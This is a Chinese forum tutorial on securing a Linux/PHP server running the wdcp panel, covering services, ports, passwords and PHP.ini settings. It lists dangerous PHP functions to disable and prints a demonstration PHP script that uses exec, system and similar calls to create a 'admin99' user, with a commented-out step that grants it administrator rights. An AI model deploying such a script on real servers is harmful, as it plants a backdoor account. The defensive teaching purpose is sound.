提問三步曲: 提問先看教程/FAQ索引(wdcp,wdcp_v3,一鍵包)及搜索,會讓你更快解決問題
1 提供詳細,如系統版本,wdcp版本,軟件版本等及錯誤的詳細信息,貼上論壇或截圖發(fā)論壇
2 做過哪些操作或改動設置等
溫馨提示:信息不詳,很可能會沒人理你!論壇有教程說明的,也可能沒人理!因為,你懂的
[教程] 實用的安全配置指引 2013-06-15更新
本帖最后由 zhanjun 于 2013-6-15 16:22 編輯
一:系統安裝1當然大多數系統安裝都是由空間商安裝,所以接收VPS或者服務器之后,第一時間我們是修改root密碼,root密碼:必須超過8位,并且有符號和字母數字。
2精簡服務:關掉以下服務項(除非你有特殊需要):kudzu cpuspeed isdn portmap nfslock rpcidmapd rpcgssd bluetooth netfs pcscd apmd hidd autofs hplip cups gpm xfs avahi-daemon yum-updatesd firstboot haldaemon
3所有服務的啟動腳本應為root權限,并且為755屬性
4安裝好WDCP之后(請到官方www.ahbydz.com上面發(fā)布安裝包安裝!),第一時間修改WDCP后臺密碼,數據庫密碼!
5在WDCP里面修改 WDCP端口默認是8080(建議修改)
6web服務器只開放80與22端口(WSCP登錄端口22可以修改(建議修改))
7數據庫服務器只開放3306與22端口
8除80,443和22,udp161(snmp),5666(nrpe)外,不允許其他服務LISTEN外網IP,161和5666端口必須限制IP
9為什么現在才說FTP呢?如無必要,禁止開啟FTP服務,FTP密碼傳輸為明文,容易被監(jiān)聽。所以我一般創(chuàng)建整站的時候都不創(chuàng)建FTP
二:站點使用安全常識
1禁止長期放置phpinfo等探針,phpmyadmin等管理程序,需要的時候放置,用完后移走到非站點目錄。
2禁止在在運行的站點內放置測試程序,備份目錄如bak,old文件夾一律移到非站點目錄。
3禁止放置install文件夾,以及upgrade、xconvert 相關升級和轉換文件。
4禁止目錄下出現編輯器編輯后自動生成的備份文件,比如使用vim后留下的.swp ,Editplus留下的.bak文件。
5打包站點得來的zip,tar.gz,tar文件下載之后一律不能放到站點目錄下,請放其它目錄
6請使用正版程序,正版模板,正版插件
7網站管理員密碼請加強!
三:PHP.ini設置
1 safe_mode官方默認是OFF,所以一般建議大家還是safe_mode = On(注意如果你是discuz程序請關閉,因為開啟會有問題)
2 disable_functions = 官方默認沒有禁止任何PHP函數,下面請大家把最危險的7個PHP功能函數禁用
改成為disable_functions = system,exec,passthru,shell_exec,popen,proc_open,assert
即可有效的防止別人通過PHP程序入侵服務器.
修改之后,要重啟IIS或者是apache才能生效的.
修改過后請重啟WEB
下載 (30.23 KB)
2013-6-15 11:07
為什么要修改了禁止函數了?
如果你感興趣的話,不妨試試把以下代碼另存為123.php
- <?php
- $cmd = 'net user admin99 admin99 /add';
- adduser($cmd);
- //$cmd = 'net localgroup administrators admin99 /add';
- //adduser($cmd);
- function adduser($cmd) {
- if (function_exists('exec')) {
- @exec($cmd, $res);
- $res = join("\n", $res);
- } elseif (function_exists('shell_exec')) {
- $res = @shell_exec($cmd);
- } elseif (function_exists('system')) {
- @ob_start();
- @system($cmd);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (@is_resource($f = @popen($cmd, "r"))) {
- die("$cmd");
- $res = '';
- while (!@feof($f)) {
- $res .= @fread($f, 1024);
- }
- @pclose($f);
- }else{
- die("你的服務器是安全的!");
- }
- die($res);
- }
- ?>
復制代碼
|